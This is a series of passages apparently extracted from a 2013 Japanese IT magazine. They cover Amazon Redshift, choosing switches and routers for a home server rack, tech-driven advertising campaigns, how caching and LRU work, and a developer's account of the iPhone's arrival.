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　「Amazon Redshift」（以下、Red
shift）は、米 Amazon.comのクラウド
プラットフォーム「Amazon Web 
Services」（以下、AWS）において、
2013年 2月よりスタートしたクラウド型
のデータウェアハウスサービスです。
同 6月からは東京リージョンでの提供
も開始され、日本からもペタバイト級の
データウェアハウスが高速なネットワー
ク経由で利用できるようになりました。
　データウェアハウスとは、大量デー
タの蓄積と、その分析や可視化を行
うことに特化したシステムの総称です。
自社のビジネスや市場の状況をデータ
に基づいて分析することで、経営の
改善やシステムの効率化などといった
意思決定を支援するために利用され
ます。データウェアハウスが通常の
データベースシステムと大きく異なる
のは、レコードの更新や削除をほとん
ど行わずに追記の形で大量のデータ
を蓄積していき、そこからデータの集
計や分析のための計算を行うことを得
意としている点です。そのような目的
特化型の特性が要求されるため、従
来は専用のハードウェアを用いたアプ
ライアンスとして提供されるのが一般
的であり、導入コストが高くなる傾向
にありました。
　Redshiftの最大の特徴は、それ
ら従来のアプライアンス型のデータ
ウェアハウスに比べると極めて低価格
で利用することができるという点です。
また、クラウド型サービスであるため
余分なハードウェア設備を必要とせ
ず、初期導入コストが抑えられるとい

うメリットもあります。AWSの巨大なイ
ンフラによって支えられているという信
頼性もあって、発表以来大きな注目
を集めています。

　Redshiftは、コスト面だけでなく
機能面でも従来のデータウェアハウス
と同等かそれ以上の能力を持ってい
ると言えます。Redshiftの機能面で
の特徴としては、次のような項目を挙
げることができます。

◉ データ格納に列指向データ
ベースを採用

　列指向データベースとは、カラム
（列）単位でデータを管理する方式の
データベースシステムです。列指向
の場合、データ集計の際に必要なカ
ラムのみを参照するといったことが容
易に行えるため、集計処理や分析に
適しているという特徴があります。

◉ 複数の圧縮アルゴリズムを
サポート

　列指向データベースには、データ
の圧縮効率が高いという特徴もありま
す。さらに、Redshiftでは複数の圧
縮アルゴリズムをサポートすることで、
データの性質や用途に応じて最適な
圧縮方式を選択できるようになってい
ます。

◉  MPPによる高いスケーラビ
リティ

　MPP（Massively Parallel Pro
cessing）とは、比較的低価格なプロ
セッサを大量に接続することによって
高い演算性能を実現したコンピュータ

を指し、プロセッサの数を増やすこと
によって処理性能を線形スケールで
向上させられるという特徴があります。
RedshiftのインフラもMPPとして構
成されているため、必要に応じてイン
スタンスを追加すればデータ容量だけ
でなく処理性能も向上させることがで
きるという強みがあります。

◉既存技術との高い互換性
　RedShiftのデータベースはオープ
ンソースの PostgreSQLをベースとし
て構築されているため、PostgreSQL
に対応した従来のドライバや各種ツー
ルを使うことができます。このことは、
既存のアプリケーションやWebサー
ビスとの連携が容易であることを意味
しています。

　ビッグデータ時代と言われる昨今で
は、ビジネスのあらゆる場面で大規
模なデータ分析の必要性が高まって
います。その一方で、従来のデータ
ウェアハウスはそのコストの高さから比
較的大規模な企業やサービス運営者
でなければ導入が難しいという問題
がありました。  
　しかしRedshiftであれば、高価な
アプライアンスやオンプレミスのシステ
ムを用意しなくても、テラバイト級、ペ
タバイト級のデータ分析を実施するこ
とができるわけです。Redshiftを使
いこなすことができれば、中小企業や
スタートアップにとっては極めて強力な
武器になるでしょう。s

TEXT： ㈲オングス 杉山 貴章 SUGIYAMA Takaaki
　　　  takaaki@ongs.co.jp

第 57回

Amazon Redshift

クラウド型データウェアハウス
「Amazon Redshift」

高い処理性能と
スケーラビリティ

テーマ募集
本連載では、最近気になる用語など、
今後取り上げてほしいテーマを募集し
ています。sd@gihyo.co.jp 宛にお送
りください。

ビッグデータ時代の
大きな武器

mailto:sd@gihyo.co.jp


http://gihyo.jp/dp




https://gihyo.jp/site/inquiry/dennou


http://sd.gihyo.jp/


162-0846  東京都新宿区市谷左内町21-13
販売促進部　TEL 03-3513-6150  FAX 03-3513-6151
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パケットの中継や通信経路の選択が行えるようになりま
す。これは、OSI参照モデルの第3層（ネットワーク層）の役
割となり、ここからレイヤー3スイッチと呼ばれています。

では、どのようなスイッチを選べばよいかというと、イ
ンターネット接続がまだまだ100M～1Gbpsであること、
1Gbpsのスイッチがまだまだ主流であることから、全ポー
ト1G対応の物を選ぶと無難です。スイッチといっても、街
の電気屋さんで売っているレベルの物から、管理機能付
きの高機能なスイッチやL3スイッチなどもあります。L3ス
イッチはそこそこお高いものです。新品で買うとなると数
十万。中古でも数万円ですので、予算に応じて選べば良
いでしょう。ここでアドバイスをするならば、管理機能、
VLAN機能付きのL2スイッチは最低限選んでおきたいと
ころです。CiscoならCatalyst 2960シリーズでしょうか。
管理機能付きのスイッチの良いところは、シリアル

コンソールやネットワーク経由で管理機能が提供され、
各種設定、ポートの状態、パケット数、エラーフレー
ム数、負荷やシステムの状態まで見られることです。
また、SNMPを使うことにより、リモートからデータを
取得し、グラフ化も可能です。メリットについては、
各種イベント情報やログなどを取得することにより、
状態の把握、障害発生時の原因調査など遠隔地から監
視できることです。見た目でわからないような問題も
記録されていたりすることがあります。そのほか、
VLAN（LANの分割機能）やスパニングツリー（ループ
構成時のリンク制御による冗長方式の1つ）、リンクア
グリゲーション（リンクの冗長化、帯域の拡張）といっ
た機能も使用可能なのものが多いので、ネットワーク
エンジニアとしては押さえておきたいところです。
また、L3スイッチは勉強するにあたり押さえてお

自宅ラックといえば、サーバだけではなく、ネット
ワークの知識や機器も必要になってきます。その前に、
勉強も兼ねて、定番の機器を検討しましょう。

定番といえば……CiscoSystems社（以下Cisco）の製
品ですね。まだまだこの業界では、Ciscoを基準とし
ているところが多く、ネットワークエンジニアを志
望している場合は最低限押さえておくほうが良いで
しょう。また、資格取得を前提とした書籍や使い方
のサイトなど、情報が豊富にあることから、Cisco製
品から始めることをお勧めします。スイッチには、
大きく分けて、レイヤ2（L2）スイッチとレイヤ3（L3）
スイッチというのがあります。簡単に説明すると次
のような違いがあります。

●L2スイッチ

パケットを転送するのがお仕事です。すなわち、ど
のポートにどの端末がつながっているか、MACアドレ
スによって管理され、通信したい相手にパケットを転
送します。MACアドレスはOSI参照モデルの第2層
（データリンク層）であることから、レイヤ2スイッチ
と呼ばれています。ちなみにパソコンショップで安価
に販売されているのはL2スイッチになります。　
●L3スイッチ

L2スイッチの機能に加えて、IPルーティングを行うこと
ができます。すなわち、ネットワーク同士を接続するため、

通信機材の検討

スイッチ選び。定番はCisco

ススメ

ネットワークエンジニア虎の穴

自宅ラック
文／ tomocha（http://tomocha.net/diary/）

の

スイッチとルータの選び方
第5回

イラスト：髙野涼香

http://tomocha.net/diary/
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きたい機能でもあるので、常用するかどうか別とし
て、自宅ラック内には、Catalyst 3550/3750シリーズ
はぜひ1台以上はもっておくことをお勧めします。

ルータについても、定番のCisco 1800シリーズ890

シリーズ、YAMAHA RTXシリーズ、NEC IXシリーズ、
古河電工 FITELシリーズなどいろいろとありますが、
このあたりは定番ですね。その他、ルータというよりは、
ファイアウォールになりますが、NetScreenやFortigate

といったSOHOや小規模オフィス向けの物なども多数
出回っていますので、自分好みの物を選んでみましょ
う。お勉強用だと割り切るのであれば、Cisco2600シ
リーズやCisco2800シリーズも捨てがたいですね。
ルータとL3スイッチの違いと言われると、L3ス
イッチができることは、ルータもできると考えてく
ださい。しかし、L3スイッチは多ポートのスイッチで
すが、ルータといえば、小ポートでさまざまなイン
ターフェースに対応したり、パケットフィルタを
行ったり、NAT（アドレス変換）などを行ったりする機
能がついていたります。その他、大規模な製品にな
ると、ダイナミックルーティング（BGP/OSPFなど）
でかなり多くの経路数を保持できる製品もあります。

法人向けのスイッチやルータなどは、保守契約がな
いとファームウェアやOSは手に入らない物などもあ
るので注意が必要です。なぜ、ファームウェアの更新
が必要か？と聞かれると、機能の強化という理由もあ
りますが、重要なのは不具合や脆弱性などの修正で
す。単なる不具合であれば、自分が困るだけなのです
が、脆弱性が存在した場合、ほかに迷惑をかけること
にもなりかねないため、インターネットへ接続する場
合はメンテナンスできる状態にしておきましょう。
CiscoのCatalystのL2/L3スイッチの一部のモデルは
IOSソフトウェアが無償提供注1されるので、安心で
す。また、YAMAHAのルータなどについても、基本的

注1） http://www.cisco.com/web/JP/product/hs/switches/
cat2960/prodlit/cat2960_qa.html

には無償で提供されているので、初めて使う場合には
お勧めですね。こういった保守、メンテナンスのこと
も検討しつつ、自分に合った製品を選びましょう。

多ポートのスイッチや高機能なルータなどは、消費電力
が高い物も多いので、月々 の電気代も考慮したほうが良
いでしょう（写真1）。100W程度の機器であれば、1ヵ月の
電気代は、0.1kW×24（時間）×30（日）＝72kWh＝2,095円
（:1kWhあたり、29.1円で計算）です。これだけの電気代が
月々かかることになりますので、常時動かすことを考える
と、家計に響いてきます。必要とされている機能、ポート
数、消費電力を調べたうえで、選びましょう。
筆者の環境では、スイッチはCisco、HitachiCable、

DELL、AlaxalAあたりの製品を使っています。ルータ
では、YAMAHA RTXシリーズ、Cisco 1800シリーズ、NEC 

IXシリーズを愛用しています。やはり、消費電力はバカに
できない要素ですので、消費電力が低い製品が手に入る
ようになったら、適宜入れ替えたりしています（写真2）。

基本的に管理機能のついたスイッチ、ルータなど
を選びつつ、消費電力も考慮。あとは、ラックがあ
るので、ラックマウント可能なモデルを選びましょ
う。実際に触ってみて覚えるのが一番！｢

のススメ
ネットワークエンジニア虎の穴

自宅ラック

▼写真1　 電気消費が激しい物はなるべく検証用で、
常時稼働させないように

▼写真2　なるべく消費電力が低い物を採用

ルータ選び 消費電力も選定要素

ファームウェアやOSなどは、
保守契約が必要？

まとめ

http://www.cisco.com/web/JP/product/hs/switches/cat2960/prodlit/cat2960_qa.html
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　普段生活していると、そこここで広
告に出会います。テレビの広告、電車
の中釣り広告、雑誌の広告、スマート
フォンアプリの中の広告……都会に
暮らしている人であれば、意識するし
ないは別にして、毎日大量の広告を目
にしているハズです。
　近年、莫大な予算をかけた広告映
像は少なくなりましたが、違った方法
で拡大しています。それはTwitterや
Facebookといったソーシャルメディ
アをうまく活用し、製品やブランドの話
題が伝搬していくよう、さまざまな広告
戦略が練られているものです。テレビ
CMで見かけた新製品のお菓子をコ
ンビニで見かけると思わず買ってし
まったり、友達がソーシャルメディアで
話題にした商品は気になります。ま
た、スマートフォンアプリの広告から新

しいアプリを知ったりできます。
　テレビCMを見なくなったと言いつ
つも、広告はさまざまな媒体に形を変
えて生活のあちこちに広がっていま
す。最近の、おもにスマートフォンや
Webを活用した広告は次のような傾
向を持ちます。

●商品をアピールするのではなく、そ
の商品やブランドが提供できる体
験を示す

●デジタル技術を活用するのはあた
りまえ。最新技術を使っていること
だけでは話題にならない
●その一方、今までなかったような新
しいテクノロジを活用し、過去にな
かった展開を行う
●ソーシャルネットワークでの拡散を
狙った手法や作戦

●複数のメディアにまたがった展開
（テレビとWeb、ソーシャルメディア

とイベントなど）
●一度きりのキャンベーンではなく、プ
ログラムとして永続的に継続するし
くみづくり
●商品単独ではなく、商品を使う体
験としてのサービスを重要視

　とくにソーシャルメディアと広告との
関係は密接になってきています。単に
従来のメディアほど費用をかけなくと
もさまざまな施策が実施できるというこ
とだけでなく、より顧客に近づき、アプ
ローチし、親密な関係構築ができると
ころが好まれています。
 また、コミュニケーションや話題の伝
搬、噂の伝わり方や熱の冷め方と
いった事柄も数年前よりも圧倒的に
スピードが速くなり、かつ情報量は過
多になり、「今」というリアルタイム性
が重視されるようになってきました。良
いと思ったもの、素敵な事柄は多くの

広告におけるデジタルとガジェットの役割

広告におけるデジタルとガジェットの役割

The Popinator

ポップコーン配布マシン
The Popinatorは「ポップ！」と喋ると、その
人の口元にポップコーンを飛ばすマシン
です。画像認識と、人間の左右の耳と同
じしくみで音が発せられた位置を解析し、
適切な角度と距離でポップコーンを飛ば
してくれます。ふざけたアイデアを大まじめ
に実現しているのが興味深い点です。一
見奇抜に思えますが、ポップコーン会社
の広告、宣伝としてはこれ以上ない王道
の方法かもしれません。

TXTBKS

携帯電話の再利用～
教科書SIM
フィリピンの小学生は毎日ものすごい量
の教科書を持って通学しているそうです。
そこでその教科書をなんとかすることを考
えました。その方法とは、古くなって使われ
なくなった携帯電話を活用することです。
携帯電話のSIMカードに教科書の文字
データを入れて配布し、活用するアイデ
アです。先進国であればタブレットを購入
して配布して……となりますが、TXTBKS
は安価で効果のある方法です。

The Pebble Sense 
Danger

スマートウォッチで警報通知
Pebble Scene Dangerは、Kickstarter
で支援を得て作られたインターネットにつ
ながる腕時計「Pebble」を活用したもの
で、Pebbleの振動と画面表示によって、
耳の不自由な人へ火事などの緊急情報
を知らせるしくみです。家のセキュリティシ
ステムなどと連動し、強盗などの危険を
察知することも考えられています。スマー
トウォッチの機能性と、ネット接続性を活
かしたアイデアです。

きくくすり

クラシック音楽の処方箋
日本フィルハーモニーの「きくくすり」は、
薬のようなカラフルなパッケージに、クラ
シック音楽のMP3ファイルが収録され
ているmicro SDカードが入っています。
「リラックスしたい時」「眠りたい時」「ダイ
エット」といった、まるで薬の効能のような
タイトルがついており、より身近にクラシッ
ク音楽を楽しんでもらうためのアイデアで
す。美肌には「ヴィヴァルディ　四季
春」、睡眠には「マーラー 交響曲第10
番」など、さまざまな症状に対して効果の
ありそうなクラシック音楽が選りすぐられ
ています。

生活に身近な
「広告」という存在

http://vimeo.com/64860956
http://superaveragemegatoms.com/

http://www.popcornindiana.com/
popinator-project

http://seeourentry.com/txtbks/http://www.japanphil.or.jp/kikukusuri/

オレオが毎日の時事ネタを扱った広告画像
スポーツ中継の途中で停電になったのを受けて、ソーシャ

ル広告チームが瞬時に伝搬させた画像。「暗闇でもダンク（オ
レオをミルクに浸して食べること）できるよ！」という意味

Dumb Ways to Die
オーストラリアの地下鉄の広告。地下鉄で不注意による
事故にあうのは情けない事故の一つだから気をつけてね！とい
う啓蒙

Tokyo City Symphony
東京都内の1/100建築模型にプロジェクションマッピン

グするプロジェクト

Toyota Presents The Tundra Endeavour
退役したスペースシャトルを博物館に運ぶ車のエピソード

※本記事で紹介しているものは国内未発表・未発売のものを含んでおります。 Sep.  2013 - 1

http://andoh.org/


人がそれについて話題にしたいと思う
ため、情報はあっという間に人と共有
され、商品を買ったりサービスを享受し
たりといった行動へ素早く広範囲に
つながるのです。
　さらに、国ごとや世代ごと、住む場
所などによって好みや流行が細かく
違う物事がある一方で、本当に素晴
らしい表現や素晴らしい商品は、国や
文化を超えて理解してもらえるという
確信もまた皆さんの中に広がってきて
います。
2013年6月に開催された、広告を

中心としたクリエイティブフェスティバ
ル「Cannes Lions International
Festival of Creativity 2013」は今
年で60周年。過去最多の登録数と
なった今回の作品の中から、とくにモ
バイル端末や最新テクノロジを活用
した宣伝広告の戦略のいくつかを紹
介しましょう。

Second Life App
イベント専用アプリがイベント後には
いっさい使われなくなることを逆手に
とって、アプリのバージョンアップの際
に臓器ドナーの募集アプリに差し替
えてしまうというキャンペーンです。
Project Silverline
シンガポールの通信会社SINGTEL
の作品で、新しいiPhone 5の発売日
にそれまで使っていた古いiPhoneを
寄付してもらい、お年寄りに役立つ5
つのアプリを入れて高齢者にプレゼ
ントするというプロジェクトです。

Scrabble Wifi
ボードゲームを販売する企業Mattel
が提供するWi-Fiサービスです。無料
のWi-Fiを提供する代わりにパズルを
解かなければいけないという試練を与
えたものです。難しいパズルに答える
と接続時間も長くなります。
Keepit
買い物したときのおつりの小銭を電
子マネーで受け取れるモバイルサービ
スです。
Get Cash
イギリスの銀行サービスです。キャッ
シュカードを忘れたり紛失したりして
も、スマートフォンに送られてくる専用
コードで、口座から10ポンドまでの小
額のお金を引き出すことができます。
財布を落としてしまったときや緊急時
に役立ちます。
awaken by Amazon
日本の学生チームが考えだしたアイ
デアで、会場でも絶賛されていたそう
です。Amazonから書籍を購入した
際、届けられた箱に読まなくなった
本を入れて送り返します。その本に
Amazonのシールを貼って、識字率
向上につとめるインドなどの方々に寄
付するしくみです。さらに本を提供し
た人は寄付した本と同じ書籍の電子
書籍を受け取ることができます。
Amazonにとっては箱の再利用と
「本ならAmazon」という広告宣伝が
できます。
THIRD EYE
シンガポールの携帯電話会社のサー
ビスです。3つめの眼になろうというプ

ロジェクトで、目の不自由な方の代わ
りに文字や画像などを読み取ってあ
げるボランティア活動のためのしくみ
です。目の不自由な方がスマートフォ
ンのカメラで知りたいものを撮影する
と、ボランティアの誰かが読み取って
文字情報として返答します。その文字
情報がアプリの中で音声読み上げさ
れ、理解することができます。
Cinder
ProcessingやopenFrameworksの
ようなインタラクティブなものを作る環
境が評価されたものです。インタラク
ティブ技術を平易に活用できることに
よって表現の幅が広がります。今まで
はアイデアのみが先行して実現でき
なかったことも、環境が整ってきたこと
と、それらを使いこなすエンジニア、デ
ザイナが増えてきたことで、いろいろと
可能になってきました。
adidas NEO Window Shopping
アプリをダウンロードせずにQRコード
と4ケタのPINコードで品物が購入で
きるサービスです。わざわざアプリをダ
ウンロード／インストールせずとも利用
できる平易なしくみが特徴です。

　はたして、こういった話題になるよう
なサービスや広告はどうやったら作れ
るのでしょうか？　もちろん専門かつ
一流のクリエータ達が時間をかけて
絞り出しているようなアイデアも世界
を席巻するでしょう。でも実は、ヒントは
身の回りのあちこちに転がっているの
ではないかと感じています。
 日頃不思議に思っていることや、不
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The Popinator

ポップコーン配布マシン
The Popinatorは「ポップ！」と喋ると、その
人の口元にポップコーンを飛ばすマシン
です。画像認識と、人間の左右の耳と同
じしくみで音が発せられた位置を解析し、
適切な角度と距離でポップコーンを飛ば
してくれます。ふざけたアイデアを大まじめ
に実現しているのが興味深い点です。一
見奇抜に思えますが、ポップコーン会社
の広告、宣伝としてはこれ以上ない王道
の方法かもしれません。

TXTBKS

携帯電話の再利用～
教科書SIM
フィリピンの小学生は毎日ものすごい量
の教科書を持って通学しているそうです。
そこでその教科書をなんとかすることを考
えました。その方法とは、古くなって使われ
なくなった携帯電話を活用することです。
携帯電話のSIMカードに教科書の文字
データを入れて配布し、活用するアイデ
アです。先進国であればタブレットを購入
して配布して……となりますが、TXTBKS
は安価で効果のある方法です。

The Pebble Sense 
Danger

スマートウォッチで警報通知
Pebble Scene Dangerは、Kickstarter
で支援を得て作られたインターネットにつ
ながる腕時計「Pebble」を活用したもの
で、Pebbleの振動と画面表示によって、
耳の不自由な人へ火事などの緊急情報
を知らせるしくみです。家のセキュリティシ
ステムなどと連動し、強盗などの危険を
察知することも考えられています。スマー
トウォッチの機能性と、ネット接続性を活
かしたアイデアです。

きくくすり

クラシック音楽の処方箋
日本フィルハーモニーの「きくくすり」は、
薬のようなカラフルなパッケージに、クラ
シック音楽のMP3ファイルが収録され
ているmicro SDカードが入っています。
「リラックスしたい時」「眠りたい時」「ダイ
エット」といった、まるで薬の効能のような
タイトルがついており、より身近にクラシッ
ク音楽を楽しんでもらうためのアイデアで
す。美肌には「ヴィヴァルディ　四季
春」、睡眠には「マーラー 交響曲第10
番」など、さまざまな症状に対して効果の
ありそうなクラシック音楽が選りすぐられ
ています。

生活に身近な
「広告」という存在

http://vimeo.com/64860956
http://superaveragemegatoms.com/

http://www.popcornindiana.com/
popinator-project

http://seeourentry.com/txtbks/http://www.japanphil.or.jp/kikukusuri/

東京新聞
画像認識とAR（拡張現実）

を組み合わせたもの。大人の新聞
が子供用の記事になる

Super Angry Birds
人気ゲームAngry Birdsの

操作を物理的専用コントローラで
楽しむ方法

Ant Rally
レーザーカッターで切り抜い

た葉っぱを蟻に運ばせ、蟻が発言
しているように思わせる

IBM People 
for Smarter Cities

街頭広告をスロープや椅子や雨宿
りの場所として活用できる

※本記事で紹介しているものは国内未発表・未発売のものを含んでおります。 2 - Software Design



便に思っているような課題、なにか小
さくても新しい発見など。それらの事柄
が、人の気持ちを動かすことができれ
ば成功です。印象に残る事柄は、驚
かせるのか、感心させるのか、共感さ
せるのか、もどかしく感じさせるのか
……人の気持ちはさまざまな方向に
動かされます。
　また、単に商品を売るのではなく、
再利用や環境保護といった企業の
社会貢献によるブランドの構築が重
要なテーマとなってきています。そして
それらはお仕着せのものではなく、そ
れぞれの企業やサービス、商品が得
意とする分野の事柄をうまく活かし、
納得した形で展開されています。
　Cannes Lions 2013で、もし登録
さえされていればグランプリを取ってい
たであろうと言われていたのは、Red 
Bu l lの成層圏からフリーフォール
「Red Bull Stratos」でした（Cannes 
Lionsは登録料を支払って、制作者
側が申し込みをしたものしか審査の
対象とならないため）。Red Bullの素
晴らしい取り組みは「広告」という形
式的なものの枠を超えて、よりファン
や顧客とのつながりを求め、次のス
テージに進もうという強い意志が感じ
られます。
　広告の未来は、現在の広告のよう
な形をしたものではなく、よりソーシャ
ルだけれども押し付けがましくなく、誰
もが思わず話題にしたくなるような、応
援したくなるようなものになっているの
かもしれませんね。s
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察知することも考えられています。スマー
トウォッチの機能性と、ネット接続性を活
かしたアイデアです。
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クラシック音楽の処方箋
日本フィルハーモニーの「きくくすり」は、
薬のようなカラフルなパッケージに、クラ
シック音楽のMP3ファイルが収録され
ているmicro SDカードが入っています。
「リラックスしたい時」「眠りたい時」「ダイ
エット」といった、まるで薬の効能のような
タイトルがついており、より身近にクラシッ
ク音楽を楽しんでもらうためのアイデアで
す。美肌には「ヴィヴァルディ　四季
春」、睡眠には「マーラー 交響曲第10
番」など、さまざまな症状に対して効果の
ありそうなクラシック音楽が選りすぐられ
ています。
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Back to Vinyl
ミュージシャンの宣伝用の音源

を、古いレコードを模したバッケージと
アプリで聴く
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http://www.popcornindiana.com/popinator-project
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http://superaveragemegatoms.com/
http://www.japanphil.or.jp/kikukusuri/
http://seeourentry.com/txtbks/
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Cache̶キャッシュ

キャッシュとは

　キャッシュ（cache）とは、もともと貯蔵場所
という意味の言葉です。技術用語としては「高
速なデータ処理を行うために、いったん使った
データを蓄えておく場所」という意味になりま
す。日本語でキャッシュというと「現金」を連想
しがちですが、現金は“cash”で、貯蔵場所の
“cache”とは異なります。
　キャッシュは身近な技術です。たとえば、大
きな画像を含むWebページを表示するとき、1

度目にはちょっと時間がかかりますが、2度目
には一瞬で表示されるようになります。これは
大きな画像がキャッシュに蓄えられる（キャッ
シュされる）からです。1度目の表示の様子を
図1に示します。
　この図ではブラウザがWebサイトから画像

を読み込んで表示しています。1回目の表示の
際に途中にあるキャッシュに画像が保存されま
す。このキャッシュは、具体的にはブラウザが
動作しているコンピュータのメモリやハードディ
スクです。
　キャッシュを使うシステムでは、1回目にデー
タを得たときに、キャッシュにデータを蓄えま
す。そして2回目にはキャッシュのほうからデー
タを得ます。これによって2回目以降のスピー
ドを上げようというしくみです。
　Webページを2回目に閲覧するときの様子を
図2に示します。遅いネットワーク越しにデー
タを得るよりも、速いキャッシュからデータを
得ることで高速な表示が可能になります。

CPUが使うキャッシュ

　コンピュータそのものもキャッシュを使って
います。コンピュータの中央処理装置（CPU）が
プログラムを実行するときには、メインメモリ
からプログラムを読むと同時に、キャッシュメ

Web site

slow

fast

Cache

Browser

 ▼図1　1度目のアクセスで画像がキャッシュされる

Web site

slow

fast

Cache

Browser

 ▼図2　2度目のアクセスではキャッシュから画像を得る

Cache

結城 浩 YUKI Hiroshi
http://www.hyuki.com/
Twitter：@hyuki 4

http://www.hyuki.com/
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モリにも読み込みます。キャッシュメモリはメ
インメモリよりも高速なメモリで、これによって、
CPUが高速に動作することができるのです。こ
の場合、遅い装置はメインメモリで、速い装置
はキャッシュメモリになります。
　Webサーバの例ではキャッシュの役割を果
たした速いメインメモリも、CPUの例では遅
い装置となります。キャッシュの観点では、装
置の相対的な速度が問題となるからですね。

トレードオフ

　「遅い装置の代わりに速い装置を使えば高速
になる」というのは当然ですが、ここにはトレー
ドオフがあります。
　時間を稼いで高速にデータにアクセスするた
めに、キャッシュとして使う空間を犠牲にして
いるところには「時間と空間のトレードオフ」が
あります。トレードオフですからどこかで必ず
「あちらを立てればこちらが立たず」という状況
が起きます。たとえば、さらに高速化をはかろ
うとしてキャッシュをとてつもなく大きく取る
と、今度は大量のキャッシュから目的のデータ
を探す時間がかかってしまうでしょう。
　また、キャッシュは一般に高価ですから、
キャッシュを大きく取り過ぎるとシステム全体
の価格に悪影響を与えることもあります。こち
らは「速度と価格のトレードオフ」ですね。

LRUと「超」整理法

　キャッシュが大きいときによく使われるのは
LRU（Last Recently Used）というアルゴリズ
ム（データ構造）です。これは、キャッシュとし
て保存してあるデータを1列に並べておき、再
度アクセスがあったデータは、その列の先頭に
並べ直すという方法です。
　これは要するに「最近使ったものは再度使わ
れる可能性が高いのだからそばに置く」という
ことです。
　LRUは、野口悠紀雄氏の「超」整理法という
書類管理法と同じです。「超」整理法では紙袋に
入れた書類を棚に並べておきます。
　そして、

¡書類を探すときは棚の一番端から順番に見
ていく

¡書類を使ったら、棚の一番端に移動する

という方法で書類を管理します。こうすると棚
全体が「頻繁に使う書類ほどすぐに見つかる場
所に位置する」という状態になるのです。

脳のキャッシュを利用する

　私たちが作業するときも、キャッシュの考え
方が使えます。いきなり作業に取りかかると、
作業が進んでから「あ、違った！　あっちを優
先することにしたんだった！」と思い出すこと
があります。そんな失敗を防ぐため、前もって
前回はどこまで作業をしていたか、作業の目的
は何か、注意点は何か、という基本情報を思い
出しておく工夫は有効です。
　それは自分の脳のキャッシュに必要なデータ
を読み込むのに似ています。1人の作業なら作
業ログを読み返すこと、複数人での作業なら作
業前の簡単なミーティングも良いでしょう。

◆　◆　◆
　あなたが作業をするとき「持ってくるのに時
間がかかるもの」を手元に置いていますか。
　ぜひ考えてみてください。｢

データを探す

見つかったら端に移動

 ▼図3　Last Recently Used

4
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5年後の未来第 5 回5

（株）ユビキタスエンターテインメント　清水 亮　SHIMIZU Ryo
　　　http://www.uei.co.jp

注1） 科学技術・エンターテインメント・デザインなどさまざまな分野の人物が独創的なアイデアをプレゼンテーションする世界的なカ
ンファレンス。

　僕たちがなぜenchantMOONを作るに至った
のか、そのきっかけは2006年までさかのぼり
ます。

マルチタッチへの憧
しょうけい

憬

　コトのはじまりは、2006年、ジェフ・ハン
というニューヨーク大学の科学者が、TED注1

で発表したショートプレゼンテーションでした。
　彼はガラス板にPCの画面を投影し、それを
両手10本の指で見事に操ってみせました。ま
るで魔法のようです。2本の指で自由に拡大、
回転、縮小される画像たちやGoogle Earthの
画面、画面上に浮かび上がるキーボード、すべ
てが未来的でした。
 「まるで映画を見ているようだ」
　僕はその動画に激しく衝撃を受けました。そ
れできっと未来のコンピュータは、こんな感じ
ですべての面という面が画面になり、それを指
やジェスチャーで操るようになるだろうと思い
ました。
　でも、ハンの動画では1つだけ大きく欠けて
いるものがあると思いました。それはOSです。
　ハンの動画では、WindowsかMacか、とに
かくいまある普通のOSを動かしているように
見えました。しかし当時のOSは、マルチタッ

チの時代には明らかに不釣り合いです。ポイン
タは1つしかなく、マルチタッチジェスチャー
を検出することすら不可能でした。そのための
センサーもなかったわけですから。
　しかしこのアイデアに大いに刺激を得た僕は、
どうすればこういう未来が実現するか、取り憑

つ

かれたように考えるようになりました。この動
画はずっと僕の心を掴

つか

み、決して離さなかった
のです。いつの日か̶̶それが10年後になるか、
20年後になるかはわからないけれども̶̶そ
うした未来の世界では、みんなこんな机を使っ
ているのではないか。
　そのときに必要なOS、必要なユーザインター
フェース理論やメタファ、そういったものは、
まだ誰も開拓していない分野でした。
　つまり、キーボードが完全にない時代の新し
いコンピュータはどのように実現されるべきか、

ジェフ・ハンによるマルチタッチのプレゼンテーション
http://www.youtube.com/watch?v=EiS-W9aeG0s

e n c h a n te n c h a n te n c h a n te n c h a n te n c h a n t

http://www.uei.co.jp
http://www.youtube.com/watch?v=EiS-W9aeG0s
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それを考えるのを1つのライフワークにしたい、
というのは僕のごく自然な欲望として出てきま
した。

5年後の携帯電話

　2006年の終わりごろ、僕はとある企業の依
頼で、5年後の携帯電話がどうなっているのか、
その未来像を描き出すという仕事に携わってい
ました。
　そのとき僕は、ひょっとすると5年もあれば、
コンピュータの画面はすべてマルチタッチにな
り、その延長上として、携帯電話の画面もフル
スクリーンマルチタッチになっているのではな
いか、と予想しました。また、この世代になる
とこれまでのPCはもちろん、携帯電話も含め
て、まったく新しいOSの開発が必要になる、
ということも書き加えておきました。マルチタッ
チを完璧に操作できるOSは、当時は世界のど
こにも存在していなかったのです。
　この予測を含む報告書は、非常に評判が良く、
クライアントに大変満足していただけました。
けれどもこの予測は、大胆過ぎて実現性に乏しい、
と最終的には却下されてしまいます。ちなみに
メガネ型の端末も同時に提案していました。
　ところが僕が本当に焦ったのはこの数ヵ月後
です。僕はコンピュータの画面を見て、「アッ」
と叫びました。スティーブ・ジョブズが、
2007年のMacworld Expoで iPhoneを発表した
のです。
 「他社の5年先を行く製品だ……」
　まさしく、僕は5年後にこういう携帯電話が
出現すると予測した直後のことでした。クライ
アントからすぐさま電話があり、「どういうこ
とだ？　これを知っていたのか？」と言われま
したが、Apple社員でない僕がもちろん知るわ
けもありません。スティーブ・ジョブズとその
手下たちを除いては、こんなことが当時の技術
で実現できるとは、誰も考えもしなかったのです。

ダブルエージェント

　クライアント企業から次なる指令が下るのに、
そう時間はかかりませんでした。
 「iPhoneについての人々の反応、今後の予測
をできるだけ広範囲かつ徹底的に知りたい」
　我々の抱える複数のクライアント企業は、ど
うすれば iPhoneに対抗できるのか知りたがり
ました。
　そこで僕は、自ら iPhoneに最も詳しい人物
となるべく徹底的に研究を重ねました。世界中
を巡り、さまざまな権威にインタビューし、レ
ポートにまとめていきました。そのおもな資金
は、クライアント企業から提供されている調査
費用でした。Jailbreakした iPod用のジョーク
アプリができたのは、この研究の途上で産まれ
た偶然の産物です。
　Apple社から声がかかったのもちょうどこの
ころです。我々がYouTubeに公開していたピン
ポンゲームを見た関係者がAppleにいたのです。
開発情報の供給も受けられるとのことで、これ
は渡りに船でした。つまり我々はApple社のサー
ドパーティとして協力しつつ、同時に彼らの動
向を見守り、脅威化すればそれを倒すための弱
点を探る仕事を引き受けていたのです（もちろ
んNDAに触れるようなことはしていません）。
　サードパーティが手に入れられる情報から、
その他のOSとの差異を徹底的にリストアップ
しました。iPhoneにはOSの強みとなる部分が
いくつもあり、しかもそれは付け焼き刃で作ら
れたのではなく、Mac OS Xから受け継がれた、
